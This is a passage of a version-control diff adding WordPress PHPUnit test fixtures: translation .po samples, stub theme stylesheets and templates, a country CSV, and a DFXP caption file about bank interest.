+"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
+"Language-Team: LANGUAGE <LL@li.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=CHARSET\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#: wp-admin/includes/continents-cities.php:7
+msgid "Africa"
+msgstr ""
+
+#: wp-admin/includes/continents-cities.php:8
+msgid "Abidjan"
+msgstr ""
Index: /tags/5.0.20/tests/phpunit/data/pomo/simple.po
===================================================================
--- /tags/5.0.20/tests/phpunit/data/pomo/simple.po	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/pomo/simple.po	(revision 56912)
@@ -0,0 +1,54 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: WordPress 2.6-bleeding\n"
+"Plural-Forms: nplurals=2; plural=n != 1;\n"
+
+msgid "moon"
+msgstr ""
+
+msgctxt "brum"
+msgid "strut"
+msgid_plural "struts"
+msgstr[0] "ztrut0"
+msgstr[1] "ztrut1"
+msgstr[2] "ztrut2"
+
+msgid ""
+"The first thing you need to do is tell Blogger to let WordPress access your "
+"account. You will be sent back here after providing authorization."
+msgstr "baba\n"
+"dyado"
+"gugu"
+
+msgctxt ""
+"con"
+"text"
+msgid ""
+"sing"
+"ular"
+msgid_plural ""
+"plu"
+"ral"
+msgstr[0] ""
+"trans"
+"lation0"
+msgstr[1] ""
+"trans"
+"lation1"
+msgstr[2] ""
+"translation2"
+
+
+
+# baba
+#: wp-admin/x.php:111 baba:333
+#. translators: buuu
+#       brubru
+#, fuzzy
+#: baba
+msgid "a"
+msgstr ""
+
+msgid "a\""
+msgstr ""
+
Index: /tags/5.0.20/tests/phpunit/data/pomo/windows-line-endings.po
===================================================================
--- /tags/5.0.20/tests/phpunit/data/pomo/windows-line-endings.po	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/pomo/windows-line-endings.po	(revision 56912)
@@ -0,0 +1,7 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Windows 3.11\n"
+"Plural-Forms: nplurals=2; plural=n != 1;\n"
+
+msgid "moon"
+msgstr "yuhu"
Index: /tags/5.0.20/tests/phpunit/data/theme-file-child/child-only.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/theme-file-child/child-only.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/theme-file-child/child-only.php	(revision 56912)
@@ -0,0 +1,1 @@
+<!-- child only -->
Index: /tags/5.0.20/tests/phpunit/data/theme-file-child/parent-and-child.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/theme-file-child/parent-and-child.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/theme-file-child/parent-and-child.php	(revision 56912)
@@ -0,0 +1,1 @@
+<!-- parent and child -->
Index: /tags/5.0.20/tests/phpunit/data/theme-file-child/style.css
===================================================================
--- /tags/5.0.20/tests/phpunit/data/theme-file-child/style.css	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/theme-file-child/style.css	(revision 56912)
@@ -0,0 +1,4 @@
+/*
+Theme Name: Child Theme
+Template: theme-file-parent
+*/
Index: /tags/5.0.20/tests/phpunit/data/theme-file-parent/parent-and-child.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/theme-file-parent/parent-and-child.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/theme-file-parent/parent-and-child.php	(revision 56912)
@@ -0,0 +1,1 @@
+<!-- parent and child -->
Index: /tags/5.0.20/tests/phpunit/data/theme-file-parent/parent-only.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/theme-file-parent/parent-only.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/theme-file-parent/parent-only.php	(revision 56912)
@@ -0,0 +1,1 @@
+<!-- parent only -->
Index: /tags/5.0.20/tests/phpunit/data/theme-file-parent/style.css
===================================================================
--- /tags/5.0.20/tests/phpunit/data/theme-file-parent/style.css	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/theme-file-parent/style.css	(revision 56912)
@@ -0,0 +1,3 @@
+/*
+Theme Name: Parent Theme
+*/
Index: /tags/5.0.20/tests/phpunit/data/themedir1/camelCase/index.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/camelCase/index.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/camelCase/index.php	(revision 56912)
@@ -0,0 +1,5 @@
+<?php
+
+// dummy theme
+
+echo dirname(__FILE__).'/'.basename(__FILE__);
Index: /tags/5.0.20/tests/phpunit/data/themedir1/camelCase/style.css
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/camelCase/style.css	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/camelCase/style.css	(revision 56912)
@@ -0,0 +1,11 @@
+/*
+Theme Name: camelCase
+Theme URI: http://example.org/
+Description: This theme has a camelCase slug.
+Version: 1.0
+Author: Minnie Bannister
+Author URI: http://example.com/
+
+This is just a stub to test the loading of the above metadata.
+
+*/
Index: /tags/5.0.20/tests/phpunit/data/themedir1/child-parent-itself/style.css
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/child-parent-itself/style.css	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/child-parent-itself/style.css	(revision 56912)
@@ -0,0 +1,4 @@
+/* 
+Theme Name: Child and Parent Theme 
+Template: child-parent-itself 
+*/ 
Index: /tags/5.0.20/tests/phpunit/data/themedir1/default/comments.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/default/comments.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/default/comments.php	(revision 56912)
@@ -0,0 +1,4 @@
+<?php
+
+// Minimal comment template
+wp_list_comments();
Index: /tags/5.0.20/tests/phpunit/data/themedir1/default/functions.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/default/functions.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/default/functions.php	(revision 56912)
@@ -0,0 +1,18 @@
+<?php
+
+// Minimum functions.php to pass unit tests
+
+function default_widgets_init() {
+	register_sidebar( array( 'id' => 'sidebar-1' ) );
+}
+add_action( 'widgets_init', 'default_widgets_init' );
+
+function default_after_setup_theme() {
+	add_theme_support( 'post-thumbnails' );
+
+	// Don't call it after wp_loaded has happened, for tests that manually re-run load actions.
+	if( ! did_action( 'wp_loaded' ) ) {
+		add_theme_support( 'title-tag' );
+	}
+}
+add_action( 'after_setup_theme', 'default_after_setup_theme' );
Index: /tags/5.0.20/tests/phpunit/data/themedir1/default/index.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/default/index.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/default/index.php	(revision 56912)
@@ -0,0 +1,5 @@
+<?php
+
+wp_head();
+
+wp_footer();
Index: /tags/5.0.20/tests/phpunit/data/themedir1/default/style.css
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/default/style.css	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/default/style.css	(revision 56912)
@@ -0,0 +1,17 @@
+/*  
+Theme Name: WordPress Default
+Theme URI: http://wordpress.org/
+Description: The default WordPress theme based on the famous <a href="http://binarybonsai.com/kubrick/">Kubrick</a>.
+Version: 1.6
+Author: Michael Heilemann
+Author URI: http://binarybonsai.com/
+
+	Kubrick v1.5
+	 http://binarybonsai.com/kubrick/
+
+This is just a stub to test the loading of the above metadata.
+
+*/
+
+
+
Index: /tags/5.0.20/tests/phpunit/data/themedir1/internationalized-theme/functions.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/internationalized-theme/functions.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/internationalized-theme/functions.php	(revision 56912)
@@ -0,0 +1,8 @@
+<?php
+/**
+ * Dummy theme.
+ */
+
+function i18n_theme_test() {
+	return __( 'This is a dummy theme', 'internationalized-theme' );
+}
Index: /tags/5.0.20/tests/phpunit/data/themedir1/internationalized-theme/index.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/internationalized-theme/index.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/internationalized-theme/index.php	(revision 56912)
@@ -0,0 +1,4 @@
+<?php
+/**
+ * Dummy theme.
+ */
Index: /tags/5.0.20/tests/phpunit/data/themedir1/internationalized-theme/style.css
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/internationalized-theme/style.css	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/internationalized-theme/style.css	(revision 56912)
@@ -0,0 +1,7 @@
+/*
+Theme Name: Internationalized Theme
+Theme URI: https://wordpress.org/
+Description: For testing purposes only.
+Version: 1.0.0
+Text Domain: internationalized-theme
+*/
Index: /tags/5.0.20/tests/phpunit/data/themedir1/page-templates-child/style.css
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/page-templates-child/style.css	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/page-templates-child/style.css	(revision 56912)
@@ -0,0 +1,12 @@
+/*
+Theme Name: Page Template Child Theme
+Theme URI: http://example.org/
+Description: An example child theme with page templates
+Version: 0.1
+Author: Mr. WordPress
+Author URI: http://wordpress.org/
+Template: page-templates
+
+This is just a stub to test the loading of the above metadata.
+
+*/
Index: /tags/5.0.20/tests/phpunit/data/themedir1/page-templates-child/subdir/template-sub-dir-post-types-child.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/page-templates-child/subdir/template-sub-dir-post-types-child.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/page-templates-child/subdir/template-sub-dir-post-types-child.php	(revision 56912)
@@ -0,0 +1,5 @@
+<?php
+/*
+   Template Name: Sub Dir In A Child Theme
+   Template Post Type: foo
+ */
Index: /tags/5.0.20/tests/phpunit/data/themedir1/page-templates-child/template-top-level-post-types-child.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/page-templates-child/template-top-level-post-types-child.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/page-templates-child/template-top-level-post-types-child.php	(revision 56912)
@@ -0,0 +1,6 @@
+<?php
+/*
+   Template Name: Top Level In A Child Theme
+   Template Post Type: foo
+ */
+
Index: /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/38766/no-trailing-period-post-types.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/38766/no-trailing-period-post-types.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/38766/no-trailing-period-post-types.php	(revision 56912)
@@ -0,0 +1,5 @@
+<?php
+/*
+   Template Name: No Trailing Period
+   Template Post Type: period, full-stop
+ */
Index: /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/38766/tilde-post-types.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/38766/tilde-post-types.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/38766/tilde-post-types.php	(revision 56912)
@@ -0,0 +1,7 @@
+<?php
+/*
+   Template Name: Tilde in Post Type.
+   Template Post Type: period, full~stop
+
+   This template should be applied to the `period` post type and ignored by the `full-stop` post type.
+ */
Index: /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/38766/trailing-comma-post-types.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/38766/trailing-comma-post-types.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/38766/trailing-comma-post-types.php	(revision 56912)
@@ -0,0 +1,5 @@
+<?php
+/*
+   Template Name: Trailing Comma,
+   Template Post Type: period, full-stop,
+ */
Index: /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/38766/trailing-period-post-types.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/38766/trailing-period-post-types.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/38766/trailing-period-post-types.php	(revision 56912)
@@ -0,0 +1,5 @@
+<?php
+/*
+   Template Name: Trailing Period.
+   Template Post Type: period, full-stop.
+ */
Index: /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/38766/trailing-period-whitespace-post-types.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/38766/trailing-period-whitespace-post-types.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/38766/trailing-period-whitespace-post-types.php	(revision 56912)
@@ -0,0 +1,5 @@
+<?php
+/*
+   Template Name: Trailing Period, White Space.
+   Template Post Type: period, full-stop. 	
+ */
Index: /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/38766/trailing-whitespace-period-post-types.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/38766/trailing-whitespace-period-post-types.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/38766/trailing-whitespace-period-post-types.php	(revision 56912)
@@ -0,0 +1,5 @@
+<?php
+/*
+   Template Name: Trailing White Space, Period.
+   Template Post Type: period, full-stop 	 .
+ */
Index: /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/index.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/index.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/index.php	(revision 56912)
@@ -0,0 +1,3 @@
+<?php
+// Intentionally left blank
+?>
Index: /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/style.css
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/style.css	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/style.css	(revision 56912)
@@ -0,0 +1,11 @@
+/*  
+Theme Name: Page Template Theme
+Theme URI: http://example.org/
+Description: An example theme with page templates
+Version: 0.1
+Author: Mr. WordPress
+Author URI: http://wordpress.org/
+
+This is just a stub to test the loading of the above metadata.
+
+*/
Index: /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/subdir/template-sub-dir-post-types.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/subdir/template-sub-dir-post-types.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/subdir/template-sub-dir-post-types.php	(revision 56912)
@@ -0,0 +1,5 @@
+<?php
+/*
+   Template Name: Sub Dir
+   Template Post Type: foo, post
+ */
Index: /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/subdir/template-sub-dir.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/subdir/template-sub-dir.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/subdir/template-sub-dir.php	(revision 56912)
@@ -0,0 +1,5 @@
+<?php
+/*
+   Template Name: Sub Dir 
+ */
+?>
Index: /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/template-header.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/template-header.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/template-header.php	(revision 56912)
@@ -0,0 +1,1 @@
+<?php // Template Name: This Template Header Is On One Line ?>
Index: /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/template-top-level-post-types.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/template-top-level-post-types.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/template-top-level-post-types.php	(revision 56912)
@@ -0,0 +1,5 @@
+<?php
+/*
+   Template Name: Top Level
+   Template Post Type: foo, post
+ */
Index: /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/template-top-level.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/template-top-level.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/page-templates/template-top-level.php	(revision 56912)
@@ -0,0 +1,5 @@
+<?php
+/*
+   Template Name: Top Level 
+ */
+?>
Index: /tags/5.0.20/tests/phpunit/data/themedir1/sandbox/functions.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/sandbox/functions.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/sandbox/functions.php	(revision 56912)
@@ -0,0 +1,7 @@
+<?php
+
+// dummy theme
+
+echo dirname(__FILE__).'/'.basename(__FILE__);
+
+?>
Index: /tags/5.0.20/tests/phpunit/data/themedir1/sandbox/index.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/sandbox/index.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/sandbox/index.php	(revision 56912)
@@ -0,0 +1,7 @@
+<?php
+
+// dummy theme
+
+echo dirname(__FILE__).'/'.basename(__FILE__);
+
+?>
Index: /tags/5.0.20/tests/phpunit/data/themedir1/sandbox/style.css
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/sandbox/style.css	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/sandbox/style.css	(revision 56912)
@@ -0,0 +1,11 @@
+/*
+THEME NAME: Sandbox
+THEME URI: http://www.plaintxt.org/themes/sandbox/
+DESCRIPTION: A theme with powerful, semantic CSS selectors and the ability to add new skins.
+VERSION: 0.6.1-wpcom
+AUTHOR: <a href="http://andy.wordpress.com/">Andy Skelton</a> &amp; <a href="http://www.plaintxt.org/">Scott Allan Wallick</a>
+AUTHOR URI:
+
+  This is a dummy theme for testing the above metadata.
+*/
+
Index: /tags/5.0.20/tests/phpunit/data/themedir1/stylesheetonly/style.css
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/stylesheetonly/style.css	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/stylesheetonly/style.css	(revision 56912)
@@ -0,0 +1,14 @@
+/*
+Theme Name: Stylesheet Only
+Theme URI: http://www.example.com/blog/
+Description: A three-column widget-ready theme in dark blue.
+Version: 1.0
+Author: Henry Crun
+Author URI: http://www.example.com/
+
+template: sandbox
+
+
+ This is a dummy theme for testing the above metadata.
+*/
+
Index: /tags/5.0.20/tests/phpunit/data/themedir1/subdir/theme with spaces/index.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/subdir/theme with spaces/index.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/subdir/theme with spaces/index.php	(revision 56912)
@@ -0,0 +1,1 @@
+<?php
Index: /tags/5.0.20/tests/phpunit/data/themedir1/subdir/theme with spaces/style.css
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/subdir/theme with spaces/style.css	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/subdir/theme with spaces/style.css	(revision 56912)
@@ -0,0 +1,11 @@
+/*
+Theme Name: Theme with Spaces in the Directory
+Theme URI: http://example.org/
+Description: An example theme in a sub directory
+Version: 0.1
+Author: Mr. WordPress
+Author URI: http://wordpress.org/
+
+This is just a stub to test the loading of the above metadata.
+
+*/
Index: /tags/5.0.20/tests/phpunit/data/themedir1/subdir/theme2/functions.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/subdir/theme2/functions.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/subdir/theme2/functions.php	(revision 56912)
@@ -0,0 +1,3 @@
+<?php
+
+?>
Index: /tags/5.0.20/tests/phpunit/data/themedir1/subdir/theme2/index.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/subdir/theme2/index.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/subdir/theme2/index.php	(revision 56912)
@@ -0,0 +1,3 @@
+<?php
+
+?>
Index: /tags/5.0.20/tests/phpunit/data/themedir1/subdir/theme2/style.css
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/subdir/theme2/style.css	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/subdir/theme2/style.css	(revision 56912)
@@ -0,0 +1,11 @@
+/*  
+Theme Name: My Subdir Theme
+Theme URI: http://example.org/
+Description: An example theme in a sub directory
+Version: 0.1
+Author: Mr. WordPress
+Author URI: http://wordpress.org/
+
+This is just a stub to test the loading of the above metadata.
+
+*/
Index: /tags/5.0.20/tests/phpunit/data/themedir1/theme1-dupe/functions.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/theme1-dupe/functions.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/theme1-dupe/functions.php	(revision 56912)
@@ -0,0 +1,7 @@
+<?php
+
+// dummy theme
+
+echo dirname(__FILE__).'/'.basename(__FILE__);
+
+?>
Index: /tags/5.0.20/tests/phpunit/data/themedir1/theme1-dupe/index.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/theme1-dupe/index.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/theme1-dupe/index.php	(revision 56912)
@@ -0,0 +1,7 @@
+<?php
+
+// dummy theme
+
+echo dirname(__FILE__).'/'.basename(__FILE__);
+
+?>
Index: /tags/5.0.20/tests/phpunit/data/themedir1/theme1-dupe/style.css
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/theme1-dupe/style.css	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/theme1-dupe/style.css	(revision 56912)
@@ -0,0 +1,17 @@
+/*  
+Theme Name: My Theme
+Theme URI: http://example.org/
+Description: This theme has the same Theme Name as theme1
+Version: 1.4
+Author: Minnie Bannister
+Author URI: http://example.com/
+
+	Kubrick v1.5
+	 http://binarybonsai.com/kubrick/
+
+This is just a stub to test the loading of the above metadata.
+
+*/
+
+
+
Index: /tags/5.0.20/tests/phpunit/data/themedir1/theme1/functions.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/theme1/functions.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/theme1/functions.php	(revision 56912)
@@ -0,0 +1,7 @@
+<?php
+
+// dummy theme
+
+echo dirname(__FILE__).'/'.basename(__FILE__);
+
+?>
Index: /tags/5.0.20/tests/phpunit/data/themedir1/theme1/index.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/theme1/index.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/theme1/index.php	(revision 56912)
@@ -0,0 +1,7 @@
+<?php
+
+// dummy theme
+
+echo dirname(__FILE__).'/'.basename(__FILE__);
+
+?>
Index: /tags/5.0.20/tests/phpunit/data/themedir1/theme1/style.css
===================================================================
--- /tags/5.0.20/tests/phpunit/data/themedir1/theme1/style.css	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/themedir1/theme1/style.css	(revision 56912)
@@ -0,0 +1,17 @@
+/*  
+Theme Name: My Theme
+Theme URI: http://example.org/
+Description: An example theme
+Version: 1.3
+Author: Minnie Bannister
+Author URI: http://example.com/
+
+	Kubrick v1.5
+	 http://binarybonsai.com/kubrick/
+
+This is just a stub to test the loading of the above metadata.
+
+*/
+
+
+
Index: /tags/5.0.20/tests/phpunit/data/uploads/test.csv
===================================================================
--- /tags/5.0.20/tests/phpunit/data/uploads/test.csv	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/uploads/test.csv	(revision 56912)
@@ -0,0 +1,16 @@
+"country","country group","name (en)","name (fr)","name (de)","latitude","longitude"
+"at","eu","Austria","Autriche","Österreich","47.6965545","13.34598005"
+"be","eu","Belgium","Belgique","Belgien","50.501045","4.47667405"
+"bg","eu","Bulgaria","Bulgarie","Bulgarien","42.72567375","25.4823218"
+"country","country group","name (en)","name (fr)","name (de)","latitude","longitude"
+"at","eu","Austria","Autriche","Österreich","47.6965545","13.34598005"
+"be","eu","Belgium","Belgique","Belgien","50.501045","4.47667405"
+"bg","eu","Bulgaria","Bulgarie","Bulgarien","42.72567375","25.4823218"
+"country","country group","name (en)","name (fr)","name (de)","latitude","longitude"
+"at","eu","Austria","Autriche","Österreich","47.6965545","13.34598005"
+"be","eu","Belgium","Belgique","Belgien","50.501045","4.47667405"
+"bg","eu","Bulgaria","Bulgarie","Bulgarien","42.72567375","25.4823218"
+"country","country group","name (en)","name (fr)","name (de)","latitude","longitude"
+"at","eu","Austria","Autriche","Österreich","47.6965545","13.34598005"
+"be","eu","Belgium","Belgique","Belgien","50.501045","4.47667405"
+"bg","eu","Bulgaria","Bulgarie","Bulgarien","42.72567375","25.4823218"
Index: /tags/5.0.20/tests/phpunit/data/uploads/test.dfxp
===================================================================
--- /tags/5.0.20/tests/phpunit/data/uploads/test.dfxp	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/uploads/test.dfxp	(revision 56912)
@@ -0,0 +1,164 @@
+<?xml version="1.0" encoding="utf-8"?>
+<tt xml:lang="en" xmlns="http://www.w3.org/ns/ttml"
+	xmlns:tts="http://www.w3.org/ns/ttml#styling"
+	xmlns:ttm="http://www.w3.org/ns/ttml#metadata">
+	<head>
+		<styling>
+			<style xml:id="defaultCaption" tts:fontSize="10" tts:fontFamily="SansSerif"
+			tts:fontWeight="normal" tts:fontStyle="normal"
+			tts:textDecoration="none" tts:color="white"
+			tts:backgroundColor="black" />
+		</styling>
+
+	</head>
+	<body>
+		<div style="defaultCaption" xml:lang="en">
+			<p begin="00:00:03.400" end="00:00:06.177">In this lesson, we're going to<br />be talking about finance. And</p>
+			<p begin="00:00:06.177" end="00:00:10.009">one of the most important aspects<br />of finance is interest.</p>
+			<p begin="00:00:10.009" end="00:00:13.655">When I go to a bank or some<br />other lending institution</p>
+			<p begin="00:00:13.655" end="00:00:17.720">to borrow money, the bank is happy<br />to give me that money. But then I'm</p>
+			<p begin="00:00:17.900" end="00:00:21.480">going to be paying the bank for the<br />privilege of using their money. And that</p>
+			<p begin="00:00:21.660" end="00:00:26.440">amount of money that I pay the bank is<br />called interest. Likewise, if I put money</p>
+			<p begin="00:00:26.620" end="00:00:31.220">in a savings account or I purchase a<br />certificate of deposit, the bank just</p>
+			<p begin="00:00:31.300" end="00:00:35.800">doesn't put my money in a little box<br />and leave it there until later. They take</p>
+			<p begin="00:00:35.800" end="00:00:40.822">my money and lend it to someone<br />else. So they are using my money.</p>
+			<p begin="00:00:40.822" end="00:00:44.400">The bank has to pay me for the privilege<br />of using my money.</p>
+			<p begin="00:00:44.400" end="00:00:48.700">Now what makes banks<br />profitable is the rate</p>
+			<p begin="00:00:48.700" end="00:00:53.330">that they charge people to use the bank's<br />money is higher than the rate that they</p>
+			<p begin="00:00:53.510" end="00:01:00.720">pay people like me to use my money. The<br />amount of interest that a person pays or</p>
+			<p begin="00:01:00.800" end="00:01:06.640">earns is dependent on three things. It's<br />dependent on how much money is involved.</p>
+			<p begin="00:01:06.820" end="00:01:11.300">It's dependent upon the rate of interest<br />being paid or the rate of interest being</p>
+			<p begin="00:01:11.480" end="00:01:17.898">charged. And it's also dependent upon<br />how much time is involved. If I have</p>
+			<p begin="00:01:17.898" end="00:01:22.730">a loan and I want to decrease the amount<br />of interest that I'm going to pay, then</p>
+			<p begin="00:01:22.800" end="00:01:28.040">I'm either going to have to decrease how<br />much money I borrow, I'm going to have</p>
+			<p begin="00:01:28.220" end="00:01:32.420">to borrow the money over a shorter period<br />of time, or I'm going to have to find a</p>
+			<p begin="00:01:32.600" end="00:01:37.279">lending institution that charges a lower<br />interest rate. On the other hand, if I</p>
+			<p begin="00:01:37.279" end="00:01:41.480">want to earn more interest on my<br />investment, I'm going to have to invest</p>
+			<p begin="00:01:41.480" end="00:01:46.860">more money, leave the money in the<br />account for a longer period of time, or</p>
+			<p begin="00:01:46.860" end="00:01:49.970">find an institution that will pay<br />me a higher interest rate.</p>
+		</div>
+	</body>
+</tt>
+<?xml version="1.0" encoding="utf-8"?>
+<tt xml:lang="en" xmlns="http://www.w3.org/ns/ttml"
+	xmlns:tts="http://www.w3.org/ns/ttml#styling"
+	xmlns:ttm="http://www.w3.org/ns/ttml#metadata">
+	<head>
+		<styling>
+			<style xml:id="defaultCaption" tts:fontSize="10" tts:fontFamily="SansSerif"
+			tts:fontWeight="normal" tts:fontStyle="normal"
+			tts:textDecoration="none" tts:color="white"
+			tts:backgroundColor="black" />
+		</styling>
+
+	</head>
+	<body>
+		<div style="defaultCaption" xml:lang="en">
+			<p begin="00:00:03.400" end="00:00:06.177">In this lesson, we're going to<br />be talking about finance. And</p>
+			<p begin="00:00:06.177" end="00:00:10.009">one of the most important aspects<br />of finance is interest.</p>
+			<p begin="00:00:10.009" end="00:00:13.655">When I go to a bank or some<br />other lending institution</p>
+			<p begin="00:00:13.655" end="00:00:17.720">to borrow money, the bank is happy<br />to give me that money. But then I'm</p>
+			<p begin="00:00:17.900" end="00:00:21.480">going to be paying the bank for the<br />privilege of using their money. And that</p>
+			<p begin="00:00:21.660" end="00:00:26.440">amount of money that I pay the bank is<br />called interest. Likewise, if I put money</p>
+			<p begin="00:00:26.620" end="00:00:31.220">in a savings account or I purchase a<br />certificate of deposit, the bank just</p>
+			<p begin="00:00:31.300" end="00:00:35.800">doesn't put my money in a little box<br />and leave it there until later. They take</p>
+			<p begin="00:00:35.800" end="00:00:40.822">my money and lend it to someone<br />else. So they are using my money.</p>
+			<p begin="00:00:40.822" end="00:00:44.400">The bank has to pay me for the privilege<br />of using my money.</p>
+			<p begin="00:00:44.400" end="00:00:48.700">Now what makes banks<br />profitable is the rate</p>
+			<p begin="00:00:48.700" end="00:00:53.330">that they charge people to use the bank's<br />money is higher than the rate that they</p>
+			<p begin="00:00:53.510" end="00:01:00.720">pay people like me to use my money. The<br />amount of interest that a person pays or</p>
+			<p begin="00:01:00.800" end="00:01:06.640">earns is dependent on three things. It's<br />dependent on how much money is involved.</p>
+			<p begin="00:01:06.820" end="00:01:11.300">It's dependent upon the rate of interest<br />being paid or the rate of interest being</p>
